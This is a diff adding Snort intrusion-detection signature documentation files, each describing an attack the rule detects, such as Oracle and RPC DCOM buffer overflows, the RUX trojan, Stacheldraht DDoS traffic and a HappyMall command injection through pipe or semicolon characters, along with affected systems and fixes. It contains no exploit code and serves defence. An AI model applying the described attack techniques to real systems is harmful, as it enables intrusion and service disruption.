+Martin Roesch <roesch@sourcefire.com>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2833.txt
+++ snort-2.8.5.2/doc/signatures/2833.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2833
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_master_repgroup
+. This procedure is included in
+sys.dbms_repcat_mas.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1770.txt
+++ snort-2.8.5.2/doc/signatures/1770.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1770
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3010.txt
+++ snort-2.8.5.2/doc/signatures/3010.txt
@@ -0,0 +1,73 @@
+Rule: 
+
+--
+Sid: 
+3010
+
+-- 
+Summary: 
+This event is generated when an attacker attempts to find the victim's
+Windows directory with the RUX the Tick trojan.
+
+-- 
+Impact: 
+If successful, the attacker would gain unauthorized access to your
+system, enabling him to upload and execute file on your computer. The
+attacker can use this function to upload additional backdoors to the
+victim's sytem and execute them.
+
+--
+Detailed Information:
+When executed, RUX the Tick opens up its assigned port (default is
+22222) for communication with the attacker. RUX the Tick has three
+functions: Get Windows Directory, Get System Directory, and Upload And
+Execute File. Get Windows Directory and Get System Directory are used
+for reconnaissance. Upload And Execute File is mainly used to upload and
+run other backdoors onto the victim's computer.
+
+--
+Affected Systems:
+	Windows 95/98/ME/NT/2000
+
+--
+Attack Scenarios: 
+The victim must first install the server. Be wary of suspicious files
+because they often can be backdoors in disguise. Once the victim
+mistakenly installs the server program, the attacker usually will employ
+an IP scanner program to find the IP addresses of victims that have
+installed the program. Then the attacker enters the IP address, port
+number (which  is assigned to the server program by the attacker:
+default is 22222), and presses the connect button and he has access to
+your computer.
+
+-- 
+Ease of Attack:
+Simple.
+
+-- 
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+-- 
+Corrective Action: 
+Using Windows Task Manager, kill these processes: ruxserver.exe and
+server.exe. Use Windows Explorer to find ruxserver.exe and delete the file.
+
+Keep your anti-virus programs updated with the latest definitions.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Ricky Macatee <rmacatee@sourcefire.com>
+
+-- 
+Additional References:
+
+PestPatrol:
+http://www.pestpatrol.com/PestInfo/R/RUX.ASP
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3385.txt
+++ snort-2.8.5.2/doc/signatures/3385.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3385
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1436.txt
+++ snort-2.8.5.2/doc/signatures/1436.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1436
+
+--
+Summary:
+This event is generated when network traffic indicating the use of a
+multimedia application is detected.
+
+--
+Impact:
+This may be a violation of corporate policy since these applications can
+be used to bypass security measures designed to restrict the flow of
+corporate information to destinations external to the corporation.
+
+--
+Detailed Information:
+Multimedia client applications can be used to view movies and listen to
+music files. Some also include file sharing facilities. Use of these
+programs may constitute a violation of company policy.
+
+Clients may also contain vulnerabilities that can give an attacker an
+attack vector for delivering Trojan horse programs and viruses.
+
+--
+Affected Systems:
+	All systems running multimedia applications
+
+--
+Attack Scenarios:
+A user can download files from a source external to the protected
+network that may contain malicious code hidden in the file giving an
+attacker the opportunity to gain access to a host inside the protected
+network.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1854.txt
+++ snort-2.8.5.2/doc/signatures/1854.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+1854
+
+--
+Summary:
+This event is generated when activity indicating the presence of a
+variant of the Stacheldraht DDOS tool is detected.
+
+--
+Impact:
+Distributed Denial of Service (DDoS) is possible.
+
+--
+Detailed Information:
+Stracheldraht is a Distributed denial of service tool normally found on
+Sun Solaris machines. It is made up of a Client, handler and agent. The
+clients connects to the handler. Handlers can connect with up to 1000
+agents. Communication between the client and the handler is conducted
+using tcp and the communication between the handler and the agent can be
+either tcp or icmp_echoreply. This rule detects the message sent from
+the handler to the agent. This traffic differs from the traffic described on
+http://staff.washington.edu/dittrich/misc/stacheldraht.analysis because the
+packets have an icmp id of 9015 rather than 1000 as noted in the analysis.
+
+--
+Affected Systems:
+	Sun Solaris
+
+--
+Attack Scenarios:
+The agent can be used to mount a distributed denial of service attack. It
+also indicates that a machine is compromised.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+The icmp id along with the keywords may be changed in the
+source code which would then evade this rule.
+
+--
+Corrective Action:
+Disconnect power from the machine and perform forensic analysis on the
+hard drives.
+
+--
+Contributors:
+Snort documentation contributed by Ian Macdonald
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/291.txt
+++ snort-2.8.5.2/doc/signatures/291.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+291
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer 
+overflow in the Cassandra NNTP service.
+
+--
+Impact:
+Denial of Service.
+
+--
+Detailed Information:
+The denial of service is caused by providing an unusually long login
+name.  The rule looks for a data payload of over 512 characters.
+
+--
+Affected Systems:
+	Cassandra NNTP server v1.10
+
+--
+Attack Scenarios:
+The attack is done remotely and causes denial of service.
+
+--
+Ease of Attack:
+Simple.  An exploit is readily available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Install the available security patches from your vendor.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS274
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCAN-2000-0341
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2897.txt
+++ snort-2.8.5.2/doc/signatures/2897.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2897
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_site_priority
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/632.txt
+++ snort-2.8.5.2/doc/signatures/632.txt
@@ -0,0 +1,55 @@
+Rule:
+
+--
+Sid:
+632
+
+--
+Summary:
+This event is generated when an external user scans an internal SMTP server using Network Associates' Cybercop vulnerability scanner. 
+
+--
+Impact:
+Information gathering. 
+
+--
+Detailed Information:
+Cybercop Scanner is scanning software that searches for system vulnerabilities. As one of its scanning procedures, it sends an expn command to SMTP server ports to determine if the SMTP server will return a list of email addresses, aliases, and distribution lists.  
+
+--
+Affected Systems:
+Any SMTP server that returns a list of email addresses, aliases, and distribution lists when queried with the expn command.
+
+--
+Attack Scenarios:
+An attacker may run Cybercop Scanner against SMTP servers in order to determine vulnerabilities that can later be exploited.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disable expn on your mail server.
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/595.txt
+++ snort-2.8.5.2/doc/signatures/595.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+595
+
+--
+Summary:
+Embedded Support Partner (ESP) is an integral part of the SGI IRIX 
+operating system to enable remote support for the operating system
+
+A vulnerability exists in the Embedded Support Partner Daemon (ESP) that
+could lead to arbitrary commands being executed on a target host.
+
+--
+Impact:
+Remote super user access leading to a compromise of the target machine 
+along with any network resources that machine is connected to.
+
+--
+Detailed Information:
+The ESP daemon is an RPC (Remote Procedure Call) resource used on SGI 
+IRIX systems. The ESP daemon runs with the privileges of the root user. 
+IRIX version 6.5.8 and prior are susceptible to a buffer overflow of the
+ESP daemon leading to a remote root compromise of the affected host.
+
+--
+Affected Systems:
+SGI IRIX 6.5.8 and earlier.
+
+--
+Attack Scenarios:
+The attacker would need to craft a packet that would lead to the buffer
+overflow. No current exploits are available.
+
+--
+Ease of Attack:
+Difficult
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+All systems running vulnerable versions of rpc.espd should have the appropriate patch applied. 
+
+Additionally, the ESP daemon should be disabled where not needed by 
+commenting out the appropriate line in inetd.conf. The daemon itself can
+be made non-executable by removal of the x bit (chmod -x rpc.espd).
+
+RPC services should not be available outside the local area network, 
+filter RPC ports at the firewall to ensure access is denied to RPC 
+enabled machines.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0331
+
+Bugtraq:
+http://www.securityfocus.com/bid/2714
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000114.txt
+++ snort-2.8.5.2/doc/signatures/100000114.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+100000114
+
+-- 
+Summary: 
+This event is generated when an attacker attempts to execute arbitrary commands 
+on a system running the HappyMall E-Commerce suite.
+
+-- 
+
+Impact: 
+Attackers may run arbitrary commands of their choosing with the permissions of 
+the affected script.
+
+--
+Detailed Information:
+By specifying a value for the "file" parameter of the "normal_html.cgi" script 
+that is enclosed by any combination of pipe or semicolon characters, attackers 
+may execute arbitrary commands on the host system with the privileges of the 
+affected script.
+
+--
+Affected Systems:
+HappyCGI HappyMall 4.3
+HappyCGI HappyMall 4.4
+
+--
+
+Attack Scenarios: 
+This vulnerability may be exploited using a web browser, or an automated script.
+
+-- 
+
+Ease of Attack: 
+Simple, as a web browser or publicly available exploits may be used.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+An unconfirmed patch is available at the URI listed in the Additional 
+References section.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+http://happymall.happycgi.com/forum/forum_detail.cgi?thread=353
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2946.txt
+++ snort-2.8.5.2/doc/signatures/2946.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2946
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2697.txt
+++ snort-2.8.5.2/doc/signatures/2697.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+2697
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter file.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/314.txt
+++ snort-2.8.5.2/doc/signatures/314.txt
@@ -0,0 +1,61 @@
+Rule:
+--
+Sid:
+303
+
+--
+Summary:
+This event is generated when a specific inverse query is performed against your DNS server as a precursor to a possible TSIG (transaction signature) buffer overflow attack. 
+
+--
+Impact:
+Intelligence gathering.  This event generates as a result of an inverse query of the DNS server in an attempt to gain access to information required for the TSIG exploit.  An attacker will usually attempt a buffer overflow exploit if there is a response to the inverse query.
+
+--
+Detailed Information:
+This is an attempt to perform a specific DNS inverse query against your DNS server.  While this specific action is not harmful itself, it signals a precusor to a possible buffer overflow attack for a TSIG vulernability.  The inverse query is performed as a reconnaissance for the TSIG attack. 
+
+--
+Affected Systems:
+BIND Versions 4 and Versions 8 through 8.2 are susceptible to the inverse query information leak.
+
+--
+Attack Scenarios:
+If a DNS server responds to the inverse query and leaks information required for the actual attack, the attacker exploitsthe TSIG buffer overflow vulnerability.  If this is successful, the attacker gains access to the DNS server at the privilege of the "named" daemon.
+
+--
+Ease of Attack:
+Easy. Code is available to exploit the vulnerability.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+An attacker could change the exploit code.  For instance, an attacker could change the DNS identification number in the code to be something other than 0xABCD and the rule would not fire.
+
+--
+Corrective Action:
+Update to BIND versions greater than 8.2 to prevent the information leak.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/2302
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0010
+
+Arachnids:
+http://www.whitehats.com/info/IDS482
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/419.txt
+++ snort-2.8.5.2/doc/signatures/419.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+
+Sid:
+419
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP Mobile Host Redirect datagram.
+
+--
+
+Impact:
+ICMP Mobile Host Redirect Messages alert base-stations to the movements of IP based mobile hosts, such as notebooks and palmtop computers.
+
+--
+
+Detailed Information:
+The Transparent Internet Routing for IP Mobile Hosts IETF draft defines ICMP Type 32 Code 0 as an ICMP Mobile Host Redirect Message.  This message was intended to be used by mobile computers to inform base-stations of their location on the network as they move from base-station to base-station.  
+
+This IETF draft was never ratified, and no hardware is known to exist that generates this type of ICMP datagram
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+ICMP Type 32 datagrams are not normal network activity.  Hosts generating these types of datagrams should be investigated for nefarious activity
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3021.txt
+++ snort-2.8.5.2/doc/signatures/3021.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3021
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2036.txt
+++ snort-2.8.5.2/doc/signatures/2036.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2036
+
+--
+Summary:
+Network Status Monitor (NSM) is used to indicate whether a host is up or
+for its status.
+
+--
+Impact:
+Intelligence gathering about the current state of a host and whether rpc
+services are available.
+
+--
+Detailed Information:
+NSM runs on client machines and informs other hosts of the status of 
+that machine should a crash or reboot occur. Each remote application 
+using an rpc service can therefore register with the host when services 
+are once again available.
+
+A request made to a machine will indicate to the attacker the status of 
+that host and will also be indicative of rpc services being available. 
+The attacker might then continue to ascertain which rpc services are 
+being offered and then launch an attack on vulnerable daemons.
+
+--
+Affected Systems:
+Any system running the service.
+
+--
+Attack Scenarios:
+An attacker merely needs to request the status of the host using rpc.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+Use the hosts.allow file to restrict the hosts able to request the 
+status of the server.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Network Status Monitor Protocol, The Open Group:
+http://www.opengroup.org/onlinepubs/009629799/chap11.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/869.txt
+++ snort-2.8.5.2/doc/signatures/869.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+869
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2777.txt
+++ snort-2.8.5.2/doc/signatures/2777.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2777
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_priority
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2401.txt
+++ snort-2.8.5.2/doc/signatures/2401.txt
@@ -0,0 +1,88 @@
+Rule:
+
+--
+Sid:
+2401
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in ISS RealSecure and BlackICE products.
+
+--
+Impact:
+Serious. Execution of arbitrary code, DoS.
+
+--
+Detailed Information:
+A buffer overflow condition in the ISS Analysis Module can be triggered
+by an attacker sending a single SMB packet containing an AccountName
+greater than 300 bytes. It is possible for an attacker to exploit this
+condition by sending a specially crafted packet to a host serving network shares.
+
+When the systems running one of the affected ISS products decodes the
+SMB data, exploit code may be included and executed on the machine with 
+system level privileges. Alternatively, the malformed data may cause the service to become 
+unresponsive and cause a DoS condition.
+
+Sensors under attack will display "PAM_internal_error" as a message on
+the console.
+
+Sucessful exploitation of this issue could present an attacker with the 
+opportunity to execute code of their choosing on the target host with system
+privileges. It is also possible for a Denial of Service (DoS) condition to 
+be caused by an attacker attempting to exploit this condition.
+
+--
+Affected Systems:
+	RealSecure Network 7.0, XPU 20.15 through 22.9
+	Real Secure Server Sensor 7.0 XPU 20.16 through 22.9
+	Proventia A Series XPU 20.15 through 22.9
+	Proventia G Series XPU 22.3 through 22.9
+	Proventia M Series XPU 1.3 through 1.7
+	RealSecure Desktop 7.0 eba through ebh
+	RealSecure Desktop 3.6 ebr through ecb
+	RealSecure Guard 3.6 ebr through ecb
+	RealSecure Sentry 3.6 ebr through ecb
+	BlackICE PC Protection 3.6 cbr through ccb
+	BlackICE Server Protection 3.6 cbr through ccb
+
+--
+Attack Scenarios:
+An attacker may use this vulnerability to disable ISS sensors on a
+network or potentially use it to gain control of a machine running one
+of the affected products.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+This rule may not generate an alert if a legitimate SMB request contains a password
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+eEye
+http://www.eeye.com/html/Research/Advisories/AD20040226.html
+
+Bugtraq
+http://www.securityfocus.com/bid/9752
+
+--
